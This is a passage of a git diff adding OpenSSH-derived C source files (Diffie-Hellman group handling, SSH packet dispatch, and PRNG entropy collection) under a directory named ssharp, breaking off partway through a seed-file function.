* + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: dh.c,v 1.14 2001/04/15 08:43:45 markus Exp $"); + +#include "xmalloc.h" + +#include +#include +#include + +#include "buffer.h" +#include "cipher.h" +#include "kex.h" +#include "dh.h" +#include "pathnames.h" +#include "log.h" +#include "misc.h" + +int +parse_prime(int linenum, char *line, struct dhgroup *dhg) +{ + char *cp, *arg; + char *strsize, *gen, *prime; + + cp = line; + arg = strdelim(&cp); + /* Ignore leading whitespace */ + if (*arg == '\0') + arg = strdelim(&cp); + if (!*arg || *arg == '#') + return 0; + + /* time */ + if (cp == NULL || *arg == '\0') + goto fail; + arg = strsep(&cp, " "); /* type */ + if (cp == NULL || *arg == '\0') + goto fail; + arg = strsep(&cp, " "); /* tests */ + if (cp == NULL || *arg == '\0') + goto fail; + arg = strsep(&cp, " "); /* tries */ + if (cp == NULL || *arg == '\0') + goto fail; + strsize = strsep(&cp, " "); /* size */ + if (cp == NULL || *strsize == '\0' || + (dhg->size = atoi(strsize)) == 0) + goto fail; + /* The whole group is one bit larger */ + dhg->size++; + gen = strsep(&cp, " "); /* gen */ + if (cp == NULL || *gen == '\0') + goto fail; + prime = strsep(&cp, " "); /* prime */ + if (cp != NULL || *prime == '\0') + goto fail; + + dhg->g = BN_new(); + dhg->p = BN_new(); + if (BN_hex2bn(&dhg->g, gen) == 0) + goto failclean; + + if (BN_hex2bn(&dhg->p, prime) == 0) + goto failclean; + + if (BN_num_bits(dhg->p) != dhg->size) + goto failclean; + + return (1); + + failclean: + BN_free(dhg->g); + BN_free(dhg->p); + fail: + error("Bad prime description in line %d", linenum); + return (0); +} + +DH * +choose_dh(int min, int wantbits, int max) +{ + FILE *f; + char line[1024]; + int best, bestcount, which; + int linenum; + struct dhgroup dhg; + + f = fopen(_PATH_DH_PRIMES, "r"); + if (!f) { + log("WARNING: %s does not exist, using old prime", _PATH_DH_PRIMES); + return (dh_new_group1()); + } + + linenum = 0; + best = bestcount = 0; + while (fgets(line, sizeof(line), f)) { + linenum++; + if (!parse_prime(linenum, line, &dhg)) + continue; + BN_free(dhg.g); + BN_free(dhg.p); + + if (dhg.size > max || dhg.size < min) + continue; + + if ((dhg.size > wantbits && dhg.size < best) || + (dhg.size > best && best < wantbits)) { + best = dhg.size; + bestcount = 0; + } + if (dhg.size == best) + bestcount++; + } + fclose (f); + + if (bestcount == 0) { + log("WARNING: no suitable primes in %s", _PATH_DH_PRIMES); + return (NULL); + } + + f = fopen(_PATH_DH_PRIMES, "r"); + if (!f) { + fatal("WARNING: %s disappeared, giving up", _PATH_DH_PRIMES); + } + + linenum = 0; + which = arc4random() % bestcount; + while (fgets(line, sizeof(line), f)) { + if (!parse_prime(linenum, line, &dhg)) + continue; + if ((dhg.size > max || dhg.size < min) || + dhg.size != best || + linenum++ != which) { + BN_free(dhg.g); + BN_free(dhg.p); + continue; + } + break; + } + fclose(f); + if (linenum != which+1) + fatal("WARNING: line %d disappeared in %s, giving up", + which, _PATH_DH_PRIMES); + + return (dh_new_group(dhg.g, dhg.p)); +} + +/* diffie-hellman-group1-sha1 */ + +int +dh_pub_is_valid(DH *dh, BIGNUM *dh_pub) +{ + int i; + int n = BN_num_bits(dh_pub); + int bits_set = 0; + + if (dh_pub->neg) { + log("invalid public DH value: negativ"); + return 0; + } + for (i = 0; i <= n; i++) + if (BN_is_bit_set(dh_pub, i)) + bits_set++; + debug("bits set: %d/%d", bits_set, BN_num_bits(dh->p)); + + /* if g==2 and bits_set==1 then computing log_g(dh_pub) is trivial */ + if (bits_set > 1 && (BN_cmp(dh_pub, dh->p) == -1)) + return 1; + log("invalid public DH value (%d/%d)", bits_set, BN_num_bits(dh->p)); + return 0; +} + +void +dh_gen_key(DH *dh, int need) +{ + int i, bits_set = 0, tries = 0; + + if (dh->p == NULL) + fatal("dh_gen_key: dh->p == NULL"); + if (2*need >= BN_num_bits(dh->p)) + fatal("dh_gen_key: group too small: %d (2*need %d)", + BN_num_bits(dh->p), 2*need); + do { + if (dh->priv_key != NULL) + BN_free(dh->priv_key); + dh->priv_key = BN_new(); + if (dh->priv_key == NULL) + fatal("dh_gen_key: BN_new failed"); + /* generate a 2*need bits random private exponent */ + if (!BN_rand(dh->priv_key, 2*need, 0, 0)) + fatal("dh_gen_key: BN_rand failed"); + if (DH_generate_key(dh) == 0) + fatal("DH_generate_key"); + for (i = 0; i <= BN_num_bits(dh->priv_key); i++) + if (BN_is_bit_set(dh->priv_key, i)) + bits_set++; + debug("dh_gen_key: priv key bits set: %d/%d", + bits_set, BN_num_bits(dh->priv_key)); + if (tries++ > 10) + fatal("dh_gen_key: too many bad keys: giving up"); + } while (!dh_pub_is_valid(dh, dh->pub_key)); +} + +DH * +dh_new_group_asc(const char *gen, const char *modulus) +{ + DH *dh; + + dh = DH_new(); + if (dh == NULL) + fatal("DH_new"); + + if (BN_hex2bn(&dh->p, modulus) == 0) + fatal("BN_hex2bn p"); + if (BN_hex2bn(&dh->g, gen) == 0) + fatal("BN_hex2bn g"); + + return (dh); +} + +/* + * This just returns the group, we still need to generate the exchange + * value. + */ + +DH * +dh_new_group(BIGNUM *gen, BIGNUM *modulus) +{ + DH *dh; + + dh = DH_new(); + if (dh == NULL) + fatal("DH_new"); + dh->p = modulus; + dh->g = gen; + + return (dh); +} + +DH * +dh_new_group1(void) +{ + static char *gen = "2", *group1 = + "FFFFFFFF" "FFFFFFFF" "C90FDAA2" "2168C234" "C4C6628B" "80DC1CD1" + "29024E08" "8A67CC74" "020BBEA6" "3B139B22" "514A0879" "8E3404DD" + "EF9519B3" "CD3A431B" "302B0A6D" "F25F1437" "4FE1356D" "6D51C245" + "E485B576" "625E7EC6" "F44C42E9" "A637ED6B" "0BFF5CB6" "F406B7ED" + "EE386BFB" "5A899FA5" "AE9F2411" "7C4B1FE6" "49286651" "ECE65381" + "FFFFFFFF" "FFFFFFFF"; + + return (dh_new_group_asc(gen, group1)); +} + +/* + * Estimates the group order for a Diffie-Hellman group that has an + * attack complexity approximately the same as O(2**bits). Estimate + * with: O(exp(1.9223 * (ln q)^(1/3) (ln ln q)^(2/3))) + */ + +int +dh_estimate(int bits) +{ + + if (bits < 64) + return (512); /* O(2**63) */ + if (bits < 128) + return (1024); /* O(2**86) */ + if (bits < 192) + return (2048); /* O(2**116) */ + return (4096); /* O(2**156) */ +} diff --git a/other/ssharp/dh.h b/other/ssharp/dh.h new file mode 100644 index 0000000..e8b2944 --- /dev/null +++ b/other/ssharp/dh.h @@ -0,0 +1,48 @@ +/* $OpenBSD: dh.h,v 1.5 2001/04/03 19:53:29 markus Exp $ */ + +/* + * Copyright (c) 2000 Niels Provos. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#ifndef DH_H +#define DH_H + +struct dhgroup { + int size; + BIGNUM *g; + BIGNUM *p; +}; + +DH *choose_dh(int min, int nbits, int max); +DH *dh_new_group_asc(const char *, const char *); +DH *dh_new_group(BIGNUM *, BIGNUM *); +DH *dh_new_group1(void); + +void dh_gen_key(DH *, int); +int dh_pub_is_valid(DH *dh, BIGNUM *dh_pub); + +int dh_estimate(int bits); + +#define DH_GRP_MIN 1024 +#define DH_GRP_MAX 8192 + +#endif diff --git a/other/ssharp/dispatch.c b/other/ssharp/dispatch.c new file mode 100644 index 0000000..7168d1c --- /dev/null +++ b/other/ssharp/dispatch.c @@ -0,0 +1,79 @@ +/* + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#include "includes.h" +RCSID("$OpenBSD: dispatch.c,v 1.10 2001/02/18 18:33:53 markus Exp $"); + +#include "ssh1.h" +#include "ssh2.h" +#include "log.h" +#include "dispatch.h" +#include "packet.h" +#include "compat.h" + +#define DISPATCH_MIN 0 +#define DISPATCH_MAX 255 + +dispatch_fn *dispatch[DISPATCH_MAX]; + +void +dispatch_protocol_error(int type, int plen, void *ctxt) +{ + error("Hm, dispatch protocol error: type %d plen %d", type, plen); + if (compat20 && type == SSH2_MSG_KEXINIT) + fatal("dispatch_protocol_error: rekeying is not supported"); +} +void +dispatch_init(dispatch_fn *dflt) +{ + int i; + for (i = 0; i < DISPATCH_MAX; i++) + dispatch[i] = dflt; +} +void +dispatch_set(int type, dispatch_fn *fn) +{ + dispatch[type] = fn; +} +void +dispatch_run(int mode, int *done, void *ctxt) +{ + for (;;) { + int plen; + int type; + + if (mode == DISPATCH_BLOCK) { + type = packet_read(&plen); + } else { + type = packet_read_poll(&plen); + if (type == SSH_MSG_NONE) + return; + } + if (type > 0 && type < DISPATCH_MAX && dispatch[type] != NULL) + (*dispatch[type])(type, plen, ctxt); + else + packet_disconnect("protocol error: rcvd type %d", type); + if (done != NULL && *done) + return; + } +} diff --git a/other/ssharp/dispatch.h b/other/ssharp/dispatch.h new file mode 100644 index 0000000..0bee03b --- /dev/null +++ b/other/ssharp/dispatch.h @@ -0,0 +1,36 @@ +/* $OpenBSD: dispatch.h,v 1.4 2001/01/29 01:58:15 niklas Exp $ */ + +/* + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +enum { + DISPATCH_BLOCK, + DISPATCH_NONBLOCK +}; + +typedef void dispatch_fn(int type, int plen, void *ctxt); + +void dispatch_init(dispatch_fn *dflt); +void dispatch_set(int type, dispatch_fn *fn); +void dispatch_run(int mode, int *done, void *ctxt); +void dispatch_protocol_error(int type, int plen, void *ctxt); diff --git a/other/ssharp/entropy.c b/other/ssharp/entropy.c new file mode 100644 index 0000000..b942dbf --- /dev/null +++ b/other/ssharp/entropy.c @@ -0,0 +1,912 @@ +/* + * Copyright (c) 2000 Damien Miller. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" + +#include +#include +#include + +/* SunOS 4.4.4 needs this */ +#ifdef HAVE_FLOATINGPOINT_H +# include +#endif /* HAVE_FLOATINGPOINT_H */ + +#include "ssh.h" +#include "misc.h" +#include "xmalloc.h" +#include "atomicio.h" +#include "pathnames.h" +#include "log.h" + +RCSID("$Id: entropy.c,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $"); + +#ifndef offsetof +# define offsetof(type, member) ((size_t) &((type *)0)->member) +#endif + +/* Number of times to pass through command list gathering entropy */ +#define NUM_ENTROPY_RUNS 1 + +/* Scale entropy estimates back by this amount on subsequent runs */ +#define SCALE_PER_RUN 10.0 + +/* Minimum number of commands to be considered valid */ +#define MIN_ENTROPY_SOURCES 16 + +#define WHITESPACE " \t\n" + +#ifndef RUSAGE_SELF +# define RUSAGE_SELF 0 +#endif +#ifndef RUSAGE_CHILDREN +# define RUSAGE_CHILDREN 0 +#endif + +#if defined(_POSIX_SAVED_IDS) && !defined(BROKEN_SAVED_UIDS) +# define SAVED_IDS_WORK_WITH_SETEUID +#endif + +void +check_openssl_version(void) +{ +} + +#if defined(PRNGD_SOCKET) || defined(PRNGD_PORT) +# define USE_PRNGD +#endif + +#if defined(USE_PRNGD) || defined(RANDOM_POOL) + +#ifdef USE_PRNGD +/* Collect entropy from PRNGD/EGD */ +int +get_random_bytes(unsigned char *buf, int len) +{ + int fd; + char msg[2]; +#ifdef PRNGD_PORT + struct sockaddr_in addr; +#else + struct sockaddr_un addr; +#endif + int addr_len, rval, errors; + mysig_t old_sigpipe; + + memset(&addr, '\0', sizeof(addr)); + +#ifdef PRNGD_PORT + addr.sin_family = AF_INET; + addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); + addr.sin_port = htons(PRNGD_PORT); + addr_len = sizeof(struct sockaddr_in); +#else /* use IP socket PRNGD_SOCKET instead */ + /* Sanity checks */ + if (sizeof(PRNGD_SOCKET) > sizeof(addr.sun_path)) + fatal("Random pool path is too long"); + if (len > 255) + fatal("Too many bytes to read from PRNGD"); + + addr.sun_family = AF_UNIX; + strlcpy(addr.sun_path, PRNGD_SOCKET, sizeof(addr.sun_path)); + addr_len = offsetof(struct sockaddr_un, sun_path) + + sizeof(PRNGD_SOCKET); +#endif + + old_sigpipe = mysignal(SIGPIPE, SIG_IGN); + + errors = rval = 0; +reopen: +#ifdef PRNGD_PORT + fd = socket(addr.sin_family, SOCK_STREAM, 0); + if (fd == -1) { + error("Couldn't create AF_INET socket: %s", strerror(errno)); + goto done; + } +#else + fd = socket(addr.sun_family, SOCK_STREAM, 0); + if (fd == -1) { + error("Couldn't create AF_UNIX socket: %s", strerror(errno)); + goto done; + } +#endif + + if (connect(fd, (struct sockaddr*)&addr, addr_len) == -1) { +#ifdef PRNGD_PORT + error("Couldn't connect to PRNGD port %d: %s", + PRNGD_PORT, strerror(errno)); +#else + error("Couldn't connect to PRNGD socket \"%s\": %s", + addr.sun_path, strerror(errno)); +#endif + goto done; + } + + /* Send blocking read request to PRNGD */ + msg[0] = 0x02; + msg[1] = len; + + if (atomicio(write, fd, msg, sizeof(msg)) != sizeof(msg)) { + if (errno == EPIPE && errors < 10) { + close(fd); + errors++; + goto reopen; + } + error("Couldn't write to PRNGD socket: %s", + strerror(errno)); + goto done; + } + + if (atomicio(read, fd, buf, len) != len) { + if (errno == EPIPE && errors < 10) { + close(fd); + errors++; + goto reopen; + } + error("Couldn't read from PRNGD socket: %s", + strerror(errno)); + goto done; + } + + rval = 1; +done: + mysignal(SIGPIPE, old_sigpipe); + if (fd != -1) + close(fd); + return(rval); +} +#else /* !USE_PRNGD */ +#ifdef RANDOM_POOL +/* Collect entropy from /dev/urandom or pipe */ +int +get_random_bytes(unsigned char *buf, int len) +{ + int random_pool; + + random_pool = open(RANDOM_POOL, O_RDONLY); + if (random_pool == -1) { + error("Couldn't open random pool \"%s\": %s", + RANDOM_POOL, strerror(errno)); + return(0); + } + + if (atomicio(read, random_pool, buf, len) != len) { + error("Couldn't read from random pool \"%s\": %s", + RANDOM_POOL, strerror(errno)); + close(random_pool); + return(0); + } + + close(random_pool); + + return(1); +} +#endif /* RANDOM_POOL */ +#endif /* USE_PRNGD */ + +/* + * Seed OpenSSL's random number pool from Kernel random number generator + * or PRNGD/EGD + */ +void +seed_rng(void) +{ + unsigned char buf[32]; + + debug("Seeding random number generator"); + + if (!get_random_bytes(buf, sizeof(buf))) { + if (!RAND_status()) + fatal("Entropy collection failed and entropy exhausted"); + } else { + RAND_add(buf, sizeof(buf), sizeof(buf)); + } + + memset(buf, '\0', sizeof(buf)); +} + +void +init_rng(void) +{ + check_openssl_version(); +} + +#else /* defined(USE_PRNGD) || defined(RANDOM_POOL) */ + +/* + * FIXME: proper entropy estimations. All current values are guesses + * FIXME: (ATL) do estimates at compile time? + * FIXME: More entropy sources + */ + +/* slow command timeouts (all in milliseconds) */ +/* static int entropy_timeout_default = ENTROPY_TIMEOUT_MSEC; */ +static int entropy_timeout_current = ENTROPY_TIMEOUT_MSEC; + +static int prng_seed_saved = 0; +static int prng_initialised = 0; +uid_t original_uid; + +typedef struct +{ + /* Proportion of data that is entropy */ + double rate; + /* Counter goes positive if this command times out */ + unsigned int badness; + /* Increases by factor of two each timeout */ + unsigned int sticky_badness; + /* Path to executable */ + char *path; + /* argv to pass to executable */ + char *args[5]; + /* full command string (debug) */ + char *cmdstring; +} entropy_source_t; + +double stir_from_system(void); +double stir_from_programs(void); +double stir_gettimeofday(double entropy_estimate); +double stir_clock(double entropy_estimate); +double stir_rusage(int who, double entropy_estimate); +double hash_output_from_command(entropy_source_t *src, char *hash); + +/* this is initialised from a file, by prng_read_commands() */ +entropy_source_t *entropy_sources = NULL; + +double +stir_from_system(void) +{ + double total_entropy_estimate; + long int i; + + total_entropy_estimate = 0; + + i = getpid(); + RAND_add(&i, sizeof(i), 0.5); + total_entropy_estimate += 0.1; + + i = getppid(); + RAND_add(&i, sizeof(i), 0.5); + total_entropy_estimate += 0.1; + + i = getuid(); + RAND_add(&i, sizeof(i), 0.0); + i = getgid(); + RAND_add(&i, sizeof(i), 0.0); + + total_entropy_estimate += stir_gettimeofday(1.0); + total_entropy_estimate += stir_clock(0.5); + total_entropy_estimate += stir_rusage(RUSAGE_SELF, 2.0); + + return(total_entropy_estimate); +} + +double +stir_from_programs(void) +{ + int i; + int c; + double entropy_estimate; + double total_entropy_estimate; + char hash[SHA_DIGEST_LENGTH]; + + total_entropy_estimate = 0; + for(i = 0; i < NUM_ENTROPY_RUNS; i++) { + c = 0; + while (entropy_sources[c].path != NULL) { + + if (!entropy_sources[c].badness) { + /* Hash output from command */ + entropy_estimate = hash_output_from_command(&entropy_sources[c], hash); + + /* Scale back entropy estimate according to command's rate */ + entropy_estimate *= entropy_sources[c].rate; + + /* Upper bound of entropy estimate is SHA_DIGEST_LENGTH */ + if (entropy_estimate > SHA_DIGEST_LENGTH) + entropy_estimate = SHA_DIGEST_LENGTH; + + /* Scale back estimates for subsequent passes through list */ + entropy_estimate /= SCALE_PER_RUN * (i + 1.0); + + /* Stir it in */ + RAND_add(hash, sizeof(hash), entropy_estimate); + + debug3("Got %0.2f bytes of entropy from '%s'", entropy_estimate, + entropy_sources[c].cmdstring); + + total_entropy_estimate += entropy_estimate; + + /* Execution times should be a little unpredictable */ + total_entropy_estimate += stir_gettimeofday(0.05); + total_entropy_estimate += stir_clock(0.05); + total_entropy_estimate += stir_rusage(RUSAGE_SELF, 0.1); + total_entropy_estimate += stir_rusage(RUSAGE_CHILDREN, 0.1); + } else { + debug2("Command '%s' disabled (badness %d)", + entropy_sources[c].cmdstring, entropy_sources[c].badness); + + if (entropy_sources[c].badness > 0) + entropy_sources[c].badness--; + } + + c++; + } + } + + return(total_entropy_estimate); +} + +double +stir_gettimeofday(double entropy_estimate) +{ + struct timeval tv; + + if (gettimeofday(&tv, NULL) == -1) + fatal("Couldn't gettimeofday: %s", strerror(errno)); + + RAND_add(&tv, sizeof(tv), entropy_estimate); + + return(entropy_estimate); +} + +double +stir_clock(double entropy_estimate) +{ +#ifdef HAVE_CLOCK + clock_t c; + + c = clock(); + RAND_add(&c, sizeof(c), entropy_estimate); + + return(entropy_estimate); +#else /* _HAVE_CLOCK */ + return(0); +#endif /* _HAVE_CLOCK */ +} + +double +stir_rusage(int who, double entropy_estimate) +{ +#ifdef HAVE_GETRUSAGE + struct rusage ru; + + if (getrusage(who, &ru) == -1) + return(0); + + RAND_add(&ru, sizeof(ru), entropy_estimate); + + return(entropy_estimate); +#else /* _HAVE_GETRUSAGE */ + return(0); +#endif /* _HAVE_GETRUSAGE */ +} + + +static int +_get_timeval_msec_difference(struct timeval *t1, struct timeval *t2) { + int secdiff, usecdiff; + + secdiff = t2->tv_sec - t1->tv_sec; + usecdiff = (secdiff*1000000) + (t2->tv_usec - t1->tv_usec); + return (int)(usecdiff / 1000); +} + +double +hash_output_from_command(entropy_source_t *src, char *hash) +{ + static int devnull = -1; + int p[2]; + fd_set rdset; + int cmd_eof = 0, error_abort = 0; + struct timeval tv_start, tv_current; + int msec_elapsed = 0; + pid_t pid; + int status; + char buf[16384]; + int bytes_read; + int total_bytes_read; + SHA_CTX sha; + + debug3("Reading output from \'%s\'", src->cmdstring); + + if (devnull == -1) { + devnull = open("/dev/null", O_RDWR); + if (devnull == -1) + fatal("Couldn't open /dev/null: %s", strerror(errno)); + } + + if (pipe(p) == -1) + fatal("Couldn't open pipe: %s", strerror(errno)); + + (void)gettimeofday(&tv_start, NULL); /* record start time */ + + switch (pid = fork()) { + case -1: /* Error */ + close(p[0]); + close(p[1]); + fatal("Couldn't fork: %s", strerror(errno)); + /* NOTREACHED */ + case 0: /* Child */ + dup2(devnull, STDIN_FILENO); + dup2(p[1], STDOUT_FILENO); + dup2(p[1], STDERR_FILENO); + close(p[0]); + close(p[1]); + close(devnull); + + setuid(original_uid); + execv(src->path, (char**)(src->args)); + debug("(child) Couldn't exec '%s': %s", src->cmdstring, + strerror(errno)); + _exit(-1); + default: /* Parent */ + break; + } + + RAND_add(&pid, sizeof(&pid), 0.0); + + close(p[1]); + + /* Hash output from child */ + SHA1_Init(&sha); + total_bytes_read = 0; + + while (!error_abort && !cmd_eof) { + int ret; + struct timeval tv; + int msec_remaining; + + (void) gettimeofday(&tv_current, 0); + msec_elapsed = _get_timeval_msec_difference(&tv_start, &tv_current); + if (msec_elapsed >= entropy_timeout_current) { + error_abort=1; + continue; + } + msec_remaining = entropy_timeout_current - msec_elapsed; + + FD_ZERO(&rdset); + FD_SET(p[0], &rdset); + tv.tv_sec = msec_remaining / 1000; + tv.tv_usec = (msec_remaining % 1000) * 1000; + + ret = select(p[0]+1, &rdset, NULL, NULL, &tv); + + RAND_add(&tv, sizeof(tv), 0.0); + + switch (ret) { + case 0: + /* timer expired */ + error_abort = 1; + break; + case 1: + /* command input */ + bytes_read = read(p[0], buf, sizeof(buf)); + RAND_add(&bytes_read, sizeof(&bytes_read), 0.0); + if (bytes_read == -1) { + error_abort = 1; + break; + } else if (bytes_read) { + SHA1_Update(&sha, buf, bytes_read); + total_bytes_read += bytes_read; + } else { + cmd_eof = 1; + } + break; + case -1: + default: + /* error */ + debug("Command '%s': select() failed: %s", src->cmdstring, + strerror(errno)); + error_abort = 1; + break; + } + } + + SHA1_Final(hash, &sha); + + close(p[0]); + + debug3("Time elapsed: %d msec", msec_elapsed); + + if (waitpid(pid, &status, 0) == -1) { + error("Couldn't wait for child '%s' completion: %s", src->cmdstring, + strerror(errno)); + return(0.0); + } + + RAND_add(&status, sizeof(&status), 0.0); + + if (error_abort) { + /* closing p[0] on timeout causes the entropy command to + * SIGPIPE. Take whatever output we got, and mark this command + * as slow */ + debug2("Command '%s' timed out", src->cmdstring); + src->sticky_badness *= 2; + src->badness = src->sticky_badness; + return(total_bytes_read); + } + + if (WIFEXITED(status)) { + if (WEXITSTATUS(status)==0) { + return(total_bytes_read); + } else { + debug2("Command '%s' exit status was %d", src->cmdstring, + WEXITSTATUS(status)); + src->badness = src->sticky_badness = 128; + return (0.0); + } + } else if (WIFSIGNALED(status)) { + debug2("Command '%s' returned on uncaught signal %d !", src->cmdstring, + status); + src->badness = src->sticky_badness = 128; + return(0.0); + } else + return(0.0); +} + +/* + * prng seedfile functions + */ +int +prng_check_seedfile(char *filename) { + + struct stat st; + + /* FIXME raceable: eg replace seed between this stat and subsequent open */ + /* Not such a problem because we don't trust the seed file anyway */ + if (lstat(filename, &st) == -1) { + /* Give up on hard errors */ + if (errno != ENOENT) + debug("WARNING: Couldn't stat random seed file \"%s\": %s", + filename, strerror(errno)); + + return(0); + } + + /* regular file? */ + if (!S_ISREG(st.st_mode)) + fatal("PRNG seedfile %.100s is not a regular file", filename); + + /* mode 0600, owned by root or the current user? */ + if (((st.st_mode & 0177) != 0) || !(st.st_uid == original_uid)) { + debug("WARNING: PRNG seedfile %.100s must be mode 0600, owned by uid %d", + filename, getuid()); + return(0); + } + + return(1); +} + +void +prng_write_seedfile(void) { + int fd; + char seed[1024]; + char filename[1024]; + struct passwd *pw; + + /* Don't bother if we have already saved a seed */ + if (prng_seed_saved) + return; + + setuid(original_uid); + + prng_seed_saved = 1; + + pw = getpwuid(original_uid); + if (pw == NULL) + fatal("Couldn't get password entry for current user (%i): %s", + original_uid, strerror(errno)); + + /* Try to ensure that the parent directory is there */ + snprintf(filename, sizeof(filename), "%.512s/%s", pw->pw_dir, + _PATH_SSH_USER_DIR); + mkdir(filename, 0700); + + snprintf(filename, sizeof(filename), "%.512s/%s", pw->pw_dir, + SSH_PRNG_SEED_FILE); + + debug("writing PRNG seed to file %.100s", filename); + + RAND_bytes(seed, sizeof(seed)); + + /* Don't care if the seed 